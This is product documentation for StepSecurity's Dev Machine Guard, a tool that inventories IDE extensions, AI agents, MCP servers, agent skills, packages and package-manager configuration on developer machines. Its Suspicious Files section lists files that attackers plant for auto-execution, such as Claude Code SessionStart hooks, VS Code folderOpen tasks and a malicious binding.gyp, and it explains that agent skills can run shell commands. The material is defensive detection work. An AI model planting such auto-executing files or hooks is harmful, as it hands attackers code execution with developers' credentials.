* Transport type (for example, `local`)
* Config source (the tool that registered the server, for example `cursor`, `antigravity`, `windsurf`)

This helps you:

* Identify external integrations accessible to AI agents on the device
* Detect duplicate or redundant MCP configurations
* Validate that only approved MCP servers are configured
* Reduce the risk of unintended data exposure through AI tool extensions

#### Recent script executions

The **Recent Script Executions** section shows logs from recent runs of the Dev Machine Guard script on the device.

This is primarily intended for debugging and operational visibility, and lets you confirm that the script is running on schedule and reporting telemetry as expected.


# IDE Extensions

The **IDE Extensions** page provides an organization-wide view of all IDE extensions/plugins detected on developer machines.

<figure><img src="/files/cYfXNGSQQAvNzQc3eFY6" alt=""><figcaption></figcaption></figure>

A summary at the top of the page shows the total number of unique extensions detected across active devices (for example, `Total 644 unique extensions across 19 active devices`).

Below the summary, IDE filter chips let you scope the list to a single IDE. Each chip shows the number of unique extensions detected for that IDE.

From this page, you can see:

* A list of all IDE extensions and plugins in use across your fleet
* The IDE each item belongs to
* Whether the item is an **Extension** (VS Code-style) or a **Plugin** (JetBrains-style)
* Whether it was **User installed** or shipped as part of the IDE
* A security score for each extension, rendered as a color-coded bar
* Compromised and typosquatted extensions (typosquatted extensions are deceptive IDE extensions that mimic legitimate ones with slightly altered names to trick developers into installing them)

#### Filters

The page supports the following filters:

* **Search by extension name**: free-text search across all detected items
* **Risk Type**: filter to surface known-risky items. Available values are `Compromised` and `Typosquat`.
* **All kinds**: filter by item kind (`Extension` or `Plugin`)
* **IDE chips**: scope to a single IDE

**Follow this interactive demo to see how it works:**

{% embed url="<https://app.storylane.io/share/ovhkpufw3qgt>" %}

### Supported IDEs

Dev Machine Guard detects extensions installed in the following IDEs on Windows, macOS, and Linux:

* **Visual Studio Code**
* **Cursor**
* **Windsurf**
* **Antigravity**
* **JetBrains IDEs** (IntelliJ IDEA, PyCharm, GoLand, WebStorm, RubyMine, CLion, Rider, PhpStorm, DataGrip, RustRover, Aqua, DataSpell, AppCode)
* **Android Studio**
* **Eclipse-based IDEs**
* **Xcode**

You can filter the IDE Extensions page by IDE to focus on a specific development environment.

### Extension Details

Selecting an IDE extension opens a detailed view with information about its usage and security posture.

#### Devices Using This Extension

This section shows:

* All devices where the extension is installed
* The version of the extension installed on each device

This helps you understand the spread of an extension across your organization and identify where remediation may be required.

<figure><img src="/files/05f7OsTUlZHhbMprvPez" alt=""><figcaption></figcaption></figure>

### Extension Security Score

Each IDE extension is assigned a security score based on multiple supply chain signals.

<figure><img src="/files/1nYma3k2HxNaaW7VpYiL" alt=""><figcaption></figcaption></figure>

The security score provides visibility into factors such as:

* Install base and adoption
* Release recency
* Publisher verification status
* License availability
* Known vulnerabilities
* Repository security posture (for example, branch protection and security policy presence)

This information helps you understand *why* an extension has its assigned score and supports decisions about whether it should continue to be used within your organization.

### Upcoming Capabilities

The following capabilities are currently under development:

* **Extension allowlists** to define which IDE extensions are permitted across your organization
* **Cooldown periods for new extension versions**, preventing newly released updates from being used until they have been evaluated

These controls will help reduce exposure to malicious or compromised extension updates while maintaining developer productivity.


# IDE & AI Agents

The IDE & AI Agents page provides a centralized, organization-wide view of all AI agents detected across developer machines.\
This page helps security and platform teams understand which AI tools are being used, who is using them, and how widely they are deployed.

<figure><img src="/files/NNTwGkJKo2l6KZKAKOEF" alt=""><figcaption></figcaption></figure>

Filter chips let you scope the list by agent category:

* **CLI Tools**: command-line AI coding assistants (for example, Claude Code, Codex)
* **Frameworks**: local AI runtimes and inference frameworks (for example, Ollama)
* **Agents**: general-purpose and IDE-integrated AI agents

Each chip shows the number of unique items detected in that category.

You can search the list by agent name or vendor, and use **Export CSV** to download the full agent inventory.

The agent table shows the following columns:

* **Agent**: the agent name and a category badge (`CLI Tool`, `Agent`, or `Framework`)
* **Vendor**: the publisher or origin (for example, Anthropic, OpenAI, Google, Cursor, OpenSource)
* **Devices**: the number of devices where the agent is installed

### Supported AI Agents

StepSecurity Dev Machine Guard automatically detects the following AI agents and tools installed on developer machines.

#### IDE & Desktop Apps

| Agent              | Vendor    |
| ------------------ | --------- |
| Visual Studio Code | Microsoft |
| Cursor             | Cursor    |
| Windsurf           | Codeium   |
| Antigravity        | Google    |
| Zed                | Zed       |
| Claude Desktop     | Anthropic |
| Microsoft Copilot  | Microsoft |

#### AI CLI Tools

| Agent               | Vendor      |
| ------------------- | ----------- |
| Claude Code         | Anthropic   |
| Codex               | OpenAI      |
| Gemini CLI          | Google      |
| Amazon Q / Kiro CLI | Amazon      |
| GitHub Copilot CLI  | Microsoft   |
| Microsoft AI Shell  | Microsoft   |
| Aider               | Open Source |

#### General-Purpose AI Agents

| Agent         | Vendor      |
| ------------- | ----------- |
| OpenClaw      | Open Source |
| ClawdBot      | Open Source |
| MoltBot       | Open Source |
| MoldBot       | Open Source |
| GPT-Engineer  | Open Source |
| Claude Cowork | Anthropic   |

{% hint style="info" %}
**Note:** Claude Cowork is detected as a mode within Claude Desktop (v0.7.0+).
{% endhint %}

#### AI Frameworks & Runtimes

| Agent                 | Vendor      |
| --------------------- | ----------- |
| Ollama                | Open Source |
| LocalAI               | Open Source |
| LM Studio             | LM Studio   |
| Text Generation WebUI | Open Source |

### Expanding an Agent

Each agent row can be expanded to view device-level details.

When expanded, you can see:

* Device ID – The unique identifier of the developer machine
* Agent Version – The installed version on that device

This allows you to:

* Identify which machines are running a specific AI agent
* Compare versions across devices
* Detect outdated or inconsistent deployments
* Investigate usage patterns


# MCP Servers

The MCP Servers page provides an organization-wide view of all Model Context Protocol (MCP) servers configured across developer machines.

MCP servers extend AI agents by enabling them to interact with external systems, APIs, and local tools. This page helps you understand where those integrations exist and how widely they are deployed.

<figure><img src="/files/SiUQ6iXVApK8V1kN26Ep" alt=""><figcaption></figcaption></figure>

The MCP server table shows the following columns:

* **Server**: the MCP server name (for example, `npx~server-brave-search`, `npx~server-filesystem`)
* **Transport**: how the server is invoked (for example, `local`)
* **Config Sources**: the AI tools that have this server registered in their configuration (for example, `cursor`, `antigravity`, `windsurf`). Multiple sources may be shown per row when the same server is configured by more than one tool.
* **Devices**: the number of devices where the server is configured

### Expanding a Server

Each MCP server row can be expanded to view device-level details.

When expanded, you can see:

* Device ID – The unique identifier of the developer machine
* Configuration or execution details where applicable

This allows you to:

* Identify which machines have a specific MCP server configured
* Detect duplicate or redundant configurations
* Investigate potentially risky integrations
* Validate compliance with approved MCP server policies


# Agent Skills

The Agent Skills page provides an organization-wide inventory of AI agent skills detected across developer machines. It shows what skills are installed, which AI agents can load them, where they came from, and whether they contain executable content.

Agent skills are reusable capability folders, each containing a `SKILL.md` file plus optional supporting files, that AI coding agents like Claude Code, Codex, GitHub Copilot, OpenCode, Gemini CLI, Amp, and Factory load to perform specialized tasks. Because skills can ship scripts, register hooks, and embed shell commands that run with the developer's user privileges, they represent a growing supply chain surface on developer machines. This page helps security and platform teams see and review that surface.

<figure><img src="/files/kvBT0mlvtEZb1vNVJFCB" alt=""><figcaption></figcaption></figure>

The page header shows the total number of unique skills detected and the number of active devices reporting them.

### How Skills Are Detected

Dev Machine Guard scans known skill locations on each device, including:

* The shared skills directory in the user's home folder (`~/.agents/skills`), which any AI coding agent on the device can load
* Agent-specific skill directories, such as `~/.claude/skills` for Claude Code
* Project-level skill folders inside repositories
* The skills.sh lock file, which records skills installed and version-managed by the skills.sh CLI

Skills installed once in the shared directory are often symlinked into agent-specific directories. Dev Machine Guard resolves this pattern and reports a single installation.

### Filtering and Search

Two rows of filter chips let you scope the list, with each chip showing the number of matching skills:

* **Source**: `All skills`, `skills.sh managed` (installed via the skills.sh CLI), or `Local` (standalone skill folders not managed by any CLI)
* **Agent**: a chip per detected agent (for example, Claude Code, Codex, GitHub Copilot) plus `Shared` for skills installed in the shared skills directory

You can also search skills by name, narrow the table with the **All scopes** dropdown (`Global`, `Project`, or `System`) and the **Any flags** dropdown (`Has code`, `Has hooks`, or `Shell execution`), and use **Export CSV** to download the full skill inventory.

### Skill Table

The skill table shows the following columns:

* **Skill**: the skill name and its canonical key (for example, `local:imagegen`)
* **Agents**: which AI tools can load the skill. Agent badges (for example, `Claude Code`, `Codex`) indicate agent-specific installations. `Shared` means the skill is installed in the shared skills directory and can be loaded by any agent on the device.
* **Scope**: where the skill is installed
  * `Global`: in the user's home directory, available to all projects
  * `Project`: inside a specific repository
  * `System`: machine-wide
* **Source**: how the skill is managed. `Local` indicates a standalone skill folder. Skills managed by the skills.sh CLI show the GitHub repository they were installed from (for example, `https://github.com/anthropics/skills`).
* **Flags**: executable content detected in the skill
  * `code`: the skill folder ships executable script files, not just a `SKILL.md`
  * `hooks`: the skill declares a hooks block that registers commands against the agent's tool-use events, firing while the skill is active
  * `shell`: the `SKILL.md` body injects shell commands that execute when the skill loads
* **Content hashes**: the number of distinct `SKILL.md` content hashes for this skill across your devices. A value greater than one is highlighted and means devices are running different versions of the skill.
* **Devices**: the number of devices where the skill is installed

{% hint style="info" %}
Skills with flags deserve closer review. Inline shell commands execute the moment the skill loads, bundled scripts run when the agent invokes the skill, and hooks fire on the agent's tool-use events, all with the developer's user privileges. Attackers have begun distributing malicious skills through public channels.
{% endhint %}

### Skill Detail View

<figure><img src="/files/0l7qwIBu77J2dk62fgGc" alt=""><figcaption></figcaption></figure>

Select a skill to open a detail panel. Cards at the top summarize the number of devices, distinct content hashes, and installed instances. Below them, the panel shows the following sections.

#### **Skill Information**

The full description from `SKILL.md`, the skill's **Canonical Key** (a stable identifier such as `local:imagegen`), and the **Agents**, **Scopes**, and **Flags** detected across all installations.

#### **Provenance**

Where the skill originated. The fields differ by source:

* For **skills.sh managed** skills: the managing CLI, the source type and the GitHub repository or other well-known source the skill was installed from, the plugin it belongs to, the upstream folder hash, and when it was last seen
* For **Local** skills: the origin (`Authored on device`), a `Not managed` indicator, the number of content hashes, and when it was last seen. Because hand-written skills have no upstream source, consistency is inferred from device-reported content hashes.

#### **Devices**

A per-device list of every installation, showing the device name, the user, the agent that loads the skill, the installation scope, and when it was last seen. Use the toggle to group installations **By content hash** or view **All devices**.

When more than one content hash exists, the panel warns that the skill is not identical on every device, meaning some machines may be running an outdated or locally edited copy.

### Use Cases

The Agent Skills inventory allows you to:

* Discover which AI agent skills are in use across your organization
* Identify skills that contain executable code, hooks, or shell commands
* Trace a managed skill back to its source repository
* Detect version drift when devices report different content hashes for the same skill
* Investigate unmanaged, hand-written skills that were not installed through a package manager


# Suspicious Files

The **Suspicious Files** page surfaces files flagged by malicious-file detection rules across your enrolled developer machines.

Some supply chain attacks plant files that trigger code execution outside the package lifecycle scripts most security tools monitor, for example a `binding.gyp` that runs during `npm install`, or an editor configuration file that runs when a project is opened. Suspicious Files detects these artifacts on developer machines.

The feature works out of the box: the underlying detection rules are authored and maintained by StepSecurity, so there is nothing to configure. As new attack techniques are identified, StepSecurity adds and updates rules centrally, and your fleet is evaluated against them automatically.

**Follow this interactive demo to see how it works:**

{% embed url="<https://app.storylane.io/share/ps5lw00rtrde>" %}

### What it detects

Detection rules cover files associated with known supply chain attacks, including:

* A malicious `binding.gyp` that triggers code execution during `npm install`
* Editor and AI-tool configuration files that auto-execute on project open or session start

The following files are examples of editor and AI-tool integration points that can be abused to achieve code execution when a developer opens a project or starts a session:

| File                      | Tool                  | Trigger                                                    |
| ------------------------- | --------------------- | ---------------------------------------------------------- |
| `.claude/setup.mjs`       | Anthropic Claude Code | `SessionStart` hook: runs on every new Claude Code session |
| `.claude/settings.json`   | Anthropic Claude Code | Settings injection                                         |
| `.cursor/rules/setup.mdc` | Cursor                | Custom rules file: loaded on project open                  |
| `.gemini/settings.json`   | Google Gemini         | Settings injection                                         |
| `.vscode/tasks.json`      | Visual Studio Code    | `runOn: folderOpen` auto-execute                           |
| `.vscode/setup.mjs`       | Visual Studio Code    | Task-triggered setup script                                |
| `.github/setup.js`        | GitHub Actions        | Workflow injection                                         |

StepSecurity maintains and expands this rule set continuously, so the campaigns and file patterns covered grow over time without any action on your part.

#### Filters

The page supports the following filters:

* **All statuses**: filter by the current status of each flagged file ( `Active` or `Resolved` )
* **All confidence**: filter by detection confidence (`High` or `Low`)
* **All campaigns**: filter by the attack campaign a detection rule is associated with (for example, `shai-hulud`, `evil-payload`, `known-bad-marker`)

You can also search across devices and extensions using the global search box at the top of the console.

### Detection table

<figure><img src="/files/c50QlCyNPuZ7GYfhWT8Q" alt=""><figcaption></figcaption></figure>

The Suspicious Files table lists every flagged file across your enrolled devices, with the following columns:

| Column         | Description                                                                                                                                                           |
| -------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **File**       | The path of the flagged file on the device (for example, `setup.js`, `binding.gyp`, or a full path under a user's home directory).                                    |
| **Device**     | The device where the file was detected, shown by device identifier.                                                                                                   |
| **Campaigns**  | The attack campaign the matching detection rule is associated with (for example, `shai-hulud`, `evil-payload`, `known-bad-marker`).                                   |
| **Confidence** | How confident the detection rule is that the file is malicious (`High` or `Low`). Open the detection to see the full condition breakdown behind the confidence level. |
| **Status**     | The current status of the detection (for example, `Active`).                                                                                                          |

The **New Threats** indicator in the top navigation bar reflects newly detected items across the console, including newly flagged suspicious files.

### Detection details

Selecting a flagged file opens a side panel with the full detection record for that file.

<figure><img src="/files/vmGgawcmunIq8VuVRnA3" alt=""><figcaption></figcaption></figure>

The panel header shows the file path and the rule that flagged it, followed by chips summarizing the detection: confidence (for example, `High`), status (for example, `Active`), and the associated campaign.

The details block includes:

* **Path**: the full path of the flagged file on the device
* **SHA-256**: the SHA-256 hash of the file, for correlation and threat-intel lookups
* **Rule**: the identifier of the detection rule that matched
* **Matched glob**: the file-path pattern the rule used to select candidate files
* **First seen** / **Last seen**: when the file was first detected on the device and when it was most recently observed

#### **Condition breakdown**

Below the details block, the **Condition breakdown** shows why the file was flagged. For each campaign the rule evaluates, it displays:

* The campaign name and an overall match indicator (for example, `Full match`)
* A description of what the rule is checking for
* The individual conditions that make up the rule, each showing whether it is **Required** and how it was evaluated (for example, `regex · matched`)

A rule can require multiple conditions to match before a file is flagged. This breakdown lets you confirm exactly which indicators were present, which is useful both for validating a detection and for triaging a `Low`-confidence match.

### Why it matters

The files attackers plant for code execution often live outside the surfaces that traditional endpoint and SCA tools inspect. A `binding.gyp` that executes during install, or a `.vscode/tasks.json` that runs on folder open, will not appear in a package manifest and may not trip a conventional malware scanner. Because these files execute with the developer's own access to source code, credentials, and CI/CD tokens, a single compromised machine can become the entry point for a wider breach.

Use this page to:

* **Respond to incidents**: when a new attack is disclosed, identify in seconds which devices carry the flagged file
* **Confirm coverage**: see that StepSecurity's centrally managed rules are evaluating your fleet without any local configuration
* **Prioritize remediation**: use the confidence and campaign columns to focus first on high-confidence detections tied to active campaigns

### Remediation

When a file is flagged, identify the affected device from the **Device** column and investigate the file in place. Confirmed-malicious files should be removed from the device, and any credentials accessible from that machine should be treated as potentially exposed and rotated. After remediation, rescan the device and confirm the file no longer appears in Suspicious Files.


# Packages

The **Packages** section of Dev Machine Guard gives you visibility into the packages and package-manager configuration present on your developer machines.

Where the [Packages](/packages/oss-package-search) product area enforces controls at install time through Secure Registry, this section is about inventory and posture on the endpoints themselves: what is installed across your fleet, and how each machine's package managers are configured. Together they answer "what is on my developer machines, and are those machines set up to pull packages safely."

This section contains three pages:

* **OSS Package Search** — search across the open-source packages detected on developer machines to find where a specific package and version is installed across your fleet. Use this to locate affected machines in seconds when a compromised package is disclosed.
* **System Packages** — an inventory of OS-level packages installed through system package managers (Homebrew on macOS, `dnf` / `apt` and others on Linux), with version distribution, signature status, and per-device spread.
* **Package Configs** — an audit of package-manager configuration files (`.npmrc`, `bunfig.toml`, `.yarnrc[.yml]`, `pip.conf`) across every scope on each device, showing the effective registry, whether a cooldown policy is in effect, and the authentication surface.


# OSS Packages

The **OSS Packages** page provides visibility into all open-source packages that have been installed or used on developer machines. This includes packages installed by human developers as well as packages installed by tools or AI coding agents.

It supports both browsing the full package inventory and running targeted or incident-driven searches, making it easier to quickly identify exposure during a supply chain incident.

<figure><img src="/files/feq8an5iNNM3xB27LHCT" alt=""><figcaption></figcaption></figure>

### Browsing packages

The package inventory shows every package detected across your active devices, with a total count summarized at the top (for example, total npm packages across active devices). Use the ecosystem toggle to switch between **npm** and **PyPI** inventories.

For each package, the table shows:

* **Latest**: the most recent version detected on your devices
* **Versions**: how many distinct versions exist across devices
* **Devices**: how many devices have the package

Install type badges indicate how the package is present:

* **Active**: the package is actively installed
* **Direct**: the package is a direct dependency of a project
* **Global**: the package is installed globally on the machine

Use the search box to find a package by name, or select **Export CSV** to download the inventory.

### Package details

Select a package to open its detail panel. The panel summarizes the number of devices with the package, the number of distinct versions, and the latest version.

<figure><img src="/files/WUVc3GzbhbiGK8nXpPQJ" alt=""><figcaption></figcaption></figure>

From here you can:

* Filter by install type: **Active installs**, **Direct dependency**, or **Global install**
* View the version distribution: each detected version or version range with the number of devices it appears on
* Review the **Devices** list to see every device with the package, its serial ID, and the specific versions present on that device
* Search the device list or select **Export CSV** to download it

This is the fastest way to answer "which machines have the compromised version" during an incident.

### Searching with filters

Select **Open advanced search** to open the **OSS Package Search** page, where you can run targeted or incident-driven queries across developer devices using Search Filters:

* **Package ecosystem**: JS or Python
* **Search Type**: choose a search mode, such as Custom Search
* **Device**: scope the search to a specific device or all devices
* **Package Status**: filter by package status
* **Time Range**: restrict results to a date range
* **Package and Versions**: enter a package name and one or more versions (for example, `1.0.0`); select **Add Package** to search for multiple packages at once, which is useful when checking exposure to a campaign that compromised several packages

<figure><img src="/files/UkdkRSuP4h5QcE515vnA" alt=""><figcaption></figcaption></figure>

Select **Search** to run the query, **Reset** to clear the filters, or **Browse all packages** to return to the full inventory.

**Follow this interactive demo to see how it works:**

{% embed url="<https://app.storylane.io/share/ikokjxskmmum>" %}

### Package Locations on Developer Machines

For each package match, Dev Machine Guard shows the exact location where the package exists on the developer machine.

<figure><img src="/files/q9UltuMOZyKaCRp0WUPb" alt=""><figcaption></figcaption></figure>

This includes:

* Package manager used (for example, npm or yarn)
* Project paths where the package is installed

This information is critical for remediation, especially during active supply chain incidents.

### Remediation and Verification

Using the package location information, you can create an MDM or EDR script to remove the affected packages from developer machines.

After the package is removed, you can rescan the device and verify that the package is no longer present.

<figure><img src="/files/BGSbbXxQ6OGwSVThpXqg" alt=""><figcaption></figcaption></figure>

### Upcoming Capabilities

The following capabilities are currently in development and will be available in a future release:

* **Package allowlists** to define which packages are permitted across developer machines
* **Cooldown periods for new package versions**, preventing newly published updates from being installed until they have been evaluated


# System Packages

The **System Packages** page provides visibility into all OS-level packages installed on developer machines across your organization.

This view consolidates packages detected by the Dev Machine Guard agent on macOS and Linux devices, giving security teams a unified inventory of OS-level developer tooling. This is the category of software that often sits outside traditional MDM inventories and SCA tools, and that has been the target of recent supply-chain incidents.

### Supported package managers

System Packages currently covers:

* **macOS**: Homebrew (formulae)
* **Linux**: Distribution package managers (for example, `dnf`, `apt`, `pacman`)
* **Windows**: *Coming soon*

The page is organized into per-platform tabs. Each tab header shows the total number of unique packages detected on that platform across your fleet (for example, `macOS 235`, `Linux 1,472`).

<figure><img src="/files/qulnReb7PKqCwGsePpse" alt=""><figcaption></figcaption></figure>

The main System Packages list shows every unique package detected on the selected platform:

* **Package**: the package or formula name (for example, `openssl@3`, `sqlite`, `terraform`). Click the name to open the package detail view.
* **Type**: the package type. On macOS this is typically `formula` for standard Homebrew packages. On Linux this reflects the package manager (for example, `rpm`, `deb`).
* **Devices**: the number of devices where the package is present. Click the count to see the list of devices.
* **Versions**: the number of distinct versions of the package installed across your fleet. A high version count often indicates version drift worth investigating.

A summary at the top shows the total number of unique packages detected on the selected platform across all active devices.

You can:

* Switch between **macOS**, **Linux**, and **Windows** tabs
* Search the list by package name
* Filter by device using the **All devices** dropdown
* Filter by package type using the **All types** dropdown
* Sort by **Devices** or **Versions** to surface the most widely deployed or most fragmented packages

#### **Linux-only filters**

When the **Linux** tab is selected, three additional filters appear:

* **All vendors**: filter packages by vendor (for example, Cursor, Microsoft Corporation)
* **Unsigned**: show only packages that have no cryptographic signature. Unsigned packages cannot be verified against a publisher and are worth reviewing during incident response.
* **Third-party**: show only packages that are not distributed officially by the device's Linux distribution. Third-party packages typically come from vendor-provided repositories or sideloaded installers and represent a higher-risk surface than packages that ship with the distribution.

<figure><img src="/files/ZiSuUxPYBHsTB3CURbQl" alt=""><figcaption></figcaption></figure>

These filters can be combined with the search box and the **All types** filter to quickly narrow the list to, for example, all unsigned third-party `rpm` packages from a specific vendor.

### Package details

Clicking a package name opens a side panel with detailed information about that package.

<figure><img src="/files/COHjKQEyiiuyIjIAzEoE" alt=""><figcaption></figcaption></figure>

The panel is organized into the following sections.

#### **Summary cards**

* **Devices**: the total number of devices in your fleet where the package is installed
* **Versions**: the number of distinct versions detected across those devices

#### **Package Information**

* **Name**: the package or formula name
* **Type**: the package manager origin (for example, `brew`)
* **Last Updated**: the most recent date upstream package metadata was refreshed for this package
* **Versions**: the number of distinct versions detected

#### **Package Metadata**

* **Description**: the upstream package description
* **Tap** (Homebrew only): the originating Homebrew tap (for example, `homebrew/core`)
* **License**: the package license (for example, `blessing`, `MIT`, `Apache-2.0`)
* **Homepage**: a link to the upstream project homepage
* **Install Reason**: how the package came to be installed on the device. Common values include `dependency` (installed automatically to satisfy another package's requirements) and direct/manual installs.

For Linux packages, this block also surfaces signature status. If the package has no cryptographic signature, an **Unsigned Package** warning is shown:

> **Unsigned Package** This package has no cryptographic signature.

Unsigned packages cannot be verified against a publisher's signing key. Combined with the **Third-party** indicator, this is a strong signal that the package warrants closer review.

#### **Version distribution**

A row of version chips below Package Metadata shows each distinct version detected in your fleet and the number of devices running it (for example, `3.50.4 1 device`, `3.51.1 1 device`, `3.53.0 1 device`).

This makes version drift immediately visible. A widely-installed package such as `openssl@3` may span four or more distinct versions across a fleet of a dozen devices, showing you at a glance where updates have lagged.

#### **Devices**

A list of all devices where the package is installed. Each entry shows:

* Device hostname
* Device ID

This helps you understand the spread of a specific package across your organization and identify where remediation may be required during an active supply-chain incident.

### Why it matters

Package managers such as Homebrew (macOS) and `dnf`/`apt` (Linux) are the de facto distribution channels for developer tooling on engineer workstations and build hosts. A typical developer machine has hundreds of system-installed utilities, compilers, databases, and network tools, many installed automatically as dependencies of higher-level packages. This software routinely runs with developer-level access to source code, credentials, and CI/CD tokens.

Visibility into what your developers have installed, and at what versions, is the foundation for responding quickly when a supply-chain incident is disclosed.

Use this page to:

* **Respond to incidents**: when a compromised system package is disclosed, search for it here to identify affected devices and users in seconds
* **Audit developer tooling**: surface unexpected or policy-violating software across the fleet
* **Assess version drift**: packages with high version counts across your fleet may indicate forgotten auto-installed dependencies or inconsistent update practices
* **Track footprint**: understand the total OS-level package surface area across your developer population

### Remediation

Using the device and version information from the System Packages detail view, you can create an MDM script to remove affected packages from developer machines during an incident. After the package is removed, rescan the device and verify the package is no longer present in Dev Machine Guard.


# Package Configs

The **Package Configs** page provides an audit of package-manager configuration files across every scope on each developer machine. It surfaces three things for each device: which registry packages actually resolve from, whether a cooldown policy is in effect, and what authentication is configured against the registry.

This view answers two operational questions:

* **Are developer machines pointed at the right registry?** Confirm whether machines resolve packages from StepSecurity Secure Registry or an internal artifact manager (for example, JFrog Artifactory or Google Artifact Registry) rather than directly from the public registry.
* **Is a cooldown policy in place?** Identify machines that are not protected by a cooldown window against newly published packages.

**Follow this interactive demo to see how it works:**

{% embed url="<https://app.storylane.io/share/dqszpwgdwdq5>" %}

### Supported ecosystems and package managers

Package Configs is organized into per-ecosystem tabs:

* **JavaScript**: `npm`, `pnpm`, `bun`, and `yarn`
* **Python**: `pip`

Within the JavaScript tab, use the package-manager chips (`npm`, `pnpm`, `bun`, `yarn`) to switch between managers. Each manager's configuration is audited independently.

The configuration files audited include `.npmrc`, `bunfig.toml`, `.yarnrc` / `.yarnrc.yml`, and `pip.conf`, evaluated across every scope present on the device.

### Configuration table

<figure><img src="/files/o49saC02kZHHZE8Gxy6R" alt=""><figcaption></figcaption></figure>

For the selected ecosystem and package manager, the table lists each device with the following columns:

| Column                 | Description                                                                                                                                                                                                                                                                                                             |
| ---------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Device**             | The device identifier or hostname. Click to open the device's full details.                                                                                                                                                                                                                                             |
| **{Package manager}**  | The installed version of the selected package manager on the device (for example, an `npm` version), or `Not installed` if the manager is not present.                                                                                                                                                                  |
| **Effective registry** | The registry that packages actually resolve from on the device, along with where that value comes from (for example, `from default`, `from global`, or `default (no config)`). A custom value such as an internal mirror indicates the device is configured to use an artifact manager rather than the public registry. |
| **Cooldown**           | Whether a cooldown policy is in effect for the device. Where applicable, an actionable hint is shown (for example, a prompt to upgrade the package manager to a version that supports the relevant control).                                                                                                            |
| **Files**              | The number of relevant configuration files found versus the number expected for that scope (for example, `1/2`), making partial or missing configuration easy to spot.                                                                                                                                                  |
| **Auth**               | The authentication configured against the registry. Indicators summarize the credential surface detected in the configuration files. A dash (`—`) indicates no authentication is configured.                                                                                                                            |

You can sort the table by **Cooldown** and **Files** to surface the devices most in need of attention, and export the current view using **Export CSV**.

### Reading the effective registry

The **Effective registry** column resolves the registry a device will actually use, accounting for the configuration precedence of each package manager (project, user, and global scopes). The label beneath the registry value tells you where the effective value was set:

* `default (no config)`: no configuration file sets a registry, so the package manager's built-in default applies
* `from default`: the value resolves from a default-scope configuration
* `from global`: the value is set in a global-scope configuration

A device showing an internal host (for example, an `npm-mirror` path on an internal Nexus or Artifactory instance) is resolving packages through an artifact manager. A device showing the public registry default is going directly to the public registry and is not behind Secure Registry or an internal proxy.

### Config details

Selecting a device opens a side panel with the full configuration audit for that device and package manager.

<figure><img src="/files/yxnn1FyFzWxxL5AoGkNS" alt=""><figcaption></figcaption></figure>

The panel header shows the device, the ecosystem (for example, `NPM`), when the configuration was collected, and the agent version that reported it.

#### **Effective config**

The **Effective config** block shows what the package manager would actually resolve at runtime, after applying scope precedence:

* **Registry**: the effective registry, with the scope the value comes from (for example, `from global`)
* **Cooldown**: the effective cooldown policy, or an upgrade hint when the installed package manager version does not support cooldown
* **npm version** (or the selected manager's version): the installed version and the path to the executable (for example, `/usr/bin/npm`)
* **Files discovered**: how many of the expected configuration files were found (for example, `2 existing of 2 checked`)

#### **Per-scope breakdown**

The **Per-scope breakdown** shows what each individual configuration scope sets, listed in the package manager's precedence order (later scopes win). Each scope card identifies the scope and the file it came from (for example, `GLOBAL /etc/npmrc`, `USER /home/fedora/.npmrc`) and shows:

* **Registry**: the registry set in that scope, or `not set`
* **Cooldown**: the cooldown value set in that scope (for example, `14 days`), or `not set`
* **Auth entries**: the credentials configured in that scope, shown as `none`, or as indicators such as `hardcoded` (credentials written directly into the file) and `env-ref` (credentials referenced from an environment variable)

The per-scope view makes it clear *which* file is responsible for the device's effective configuration. For example, a registry set at the global scope but absent at the user scope tells you the effective registry is coming from `/etc/npmrc`, not from the developer's home directory.

### Why it matters

Package-manager configuration is where supply chain controls are either enforced or quietly bypassed on a developer machine. A machine that resolves packages directly from the public registry, with no cooldown and no authentication, has none of the protection that Secure Registry or an internal proxy provides, regardless of what is configured centrally. Configuration also drifts: a single `.npmrc` in a project directory can override an organization's intended registry without anyone noticing.

Use this page to:

* **Verify Secure Registry adoption**: confirm developer machines resolve packages through Secure Registry or an approved artifact manager rather than the public registry
* **Find cooldown gaps**: identify devices not protected by a cooldown window against newly published packages
* **Audit the auth surface**: see where registry credentials are configured, and where they are missing or unexpected
* **Catch configuration drift**: spot machines whose effective registry differs from your organization's standard

For background on cooldown windows and how Secure Registry enforces them, see [Secure Registry](/packages/secure-registry).


# Device Policy

Device Policy lets you control how developer machines are configured. You define reusable policies, bundle them into profiles, and deliver those profiles to devices either through your MDM or through the Dev Machine Guard agent.

Two kinds of configuration are covered today:

* **Which IDE extensions developers can install.** Unapproved or compromised IDE extensions are a growing supply chain risk: they run with the developer's privileges and can access source code, credentials, and internal systems. Device Policy enforces an approved extension set across the fleet using the IDE's own policy mechanism.
* **Which package registry developer machines resolve packages from.** Pointing every machine at Secure Registry by hand does not scale, and a machine that silently falls back to the public registry loses cooldown and policy protection. Device Policy writes and maintains the registry configuration for you.

**Follow this interactive demo to see how this feature works:**

{% embed url="<https://app.storylane.io/share/uivtaxit0ole>" %}

### How It Works

Device Policy has two building blocks:

* [**Policies**](/developer-machines/device-policy/policies): reusable rules that define which extensions and versions are allowed or blocked for a specific IDE. Policies can be built from the extension inventory Dev Machine Guard already observes across your fleet, added manually, or imported from an existing configuration file.
* [**Profiles**](/developer-machines/device-policy/profiles): bundles of policies that you assign to devices or export to your MDM. Create a policy first, then compose it into a profile and deliver it.

Each policy compiles into the IDE's native policy format. A live compiled preview is shown while you build the policy, so you can see exactly what will be delivered.

### Policy Categories

| Category           | Targets | Compiles to                                                                                        |
| ------------------ | ------- | -------------------------------------------------------------------------------------------------- |
| **IDE extensions** | VS Code | The VS Code `extensions.allowed` policy setting, optionally with a private marketplace gallery URL |
| **Package config** | npm     | The registry URL and authentication token in the developer's `.npmrc`                              |

{% hint style="info" %}
Do not confuse the **Package config** policy category with the **Package Configs** page under **Developer Machines** > **Packages**. Package Configs is read-only: it audits which registry each machine actually resolves from. The Package config policy category is what changes that configuration. Use them together: enforce with a policy, then confirm the result in the Package Configs audit.
{% endhint %}

### Enforcement

Each profile declares an **enforcement type**, so you choose explicitly how that profile reaches devices. Both types require you to assign the profile to the devices it should apply to.

* **Your MDM enforces**: download the per-OS artifacts from the profile, import them into your MDM, and assign them to the target device group. The operating system enforces the policy, making it tamper-proof for the developer. Dev Machine Guard then continuously verifies that what your MDM actually delivered matches what the profile defines, and flags any drift.
* **The Dev Machine Guard agent enforces**: assign the profile to devices directly, with no MDM required. The agent applies and continuously re-applies the profile on every telemetry cycle.

